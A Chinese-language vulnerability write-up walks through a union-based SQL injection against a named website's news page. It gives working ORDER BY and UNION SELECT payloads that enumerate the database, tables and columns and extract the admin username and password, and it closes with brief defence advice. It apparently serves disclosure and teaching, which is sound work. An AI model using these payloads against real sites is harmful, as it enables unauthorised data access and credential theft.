本次测试网站 :www.gaoneng.com
该漏洞已经提交漏洞盒子平台,已授权公开此漏洞。
经过初步判断,得出此网站操作系统为Windows,网站源码脚本格式为php,使用的数据库类型为Mysql,架设环境为Windows Microsoft-IIS/6.0。
产生SQL注入的必备条件:
1.程序员未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行。
2.有可利用控制输入的数据值
SQL注入漏洞的危害:
1.攻击者可以利用获得的数据进行读取服务器敏感文件
2.植入webshell后门
3.获取服务器权限等
①首先找到含有注入点的URL界面
http://www.gaoneng.com/newsshow.php?id=234
通过简单测试后发现所有新闻页面均存在数据库异常回显状况(注入点),可以判定此URL未过滤注入关键词并含有注入漏洞。
②查询字段长度,爆出字段位置
1)通过order by语句二分法定位字段长度
2)根据回显正常/错误界面判断出共有26个字段
3)在错误界面爆出字段位置
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
③查询当前用户权限与数据库
and 1=2 union select 1,2,3,4,5,6,database(),8,9,10,11,12,13,14,15,16,user(),18,19,20,21,22,23,24,25,26
在数据回显点插入语句查询相关数据库名等信息。
//得出当前用户权限为:root
//数据库名为:gaoneng
④查询表名与列名
and 1=2 union select 1,2,3,4,5,6,table_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from information_schema.tables where table_schema=‘gaoneng’ limit 0,1
//因为数据库中不止有一个表名,所以加limit语句进行查询,可以limit X,1逐个查询表名。
//得出表名为 com_admin
and 1=2 union select 1,2,3,4,5,6,column_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from information_schema.columns where table_name=‘com_admin’ limit 1,1
//列名也不止一个,所以经过查询得出两个有价值的列名字段
//username,password
⑤查询字段中数据
and 1=2 union select 1,2,3,4,5,6,username,8,9,10,11,12,13,14,15,16,password,18,19,20,21,22,23,24,25,26 from ‘com_admin’
//得出管理员用户和密码
本次SQL注入主要是利用了联合查询,通过数据库语句进行一步步猜解和分析,最终得出攻击者需要的密码口令。
如何防范SQL注入攻击?(以下为个人见解,欢迎讨论)
①管理员限制数据库功能,将使用权、用户功能、权限降至最低。
②及时更新数据库补丁,加固安全措施(web防护软件、防火墙),过滤敏感字段。
③避免向用户回显数据库错误信息。
④多层加密数据库密码信息,即使攻击者获得口令也无法破解。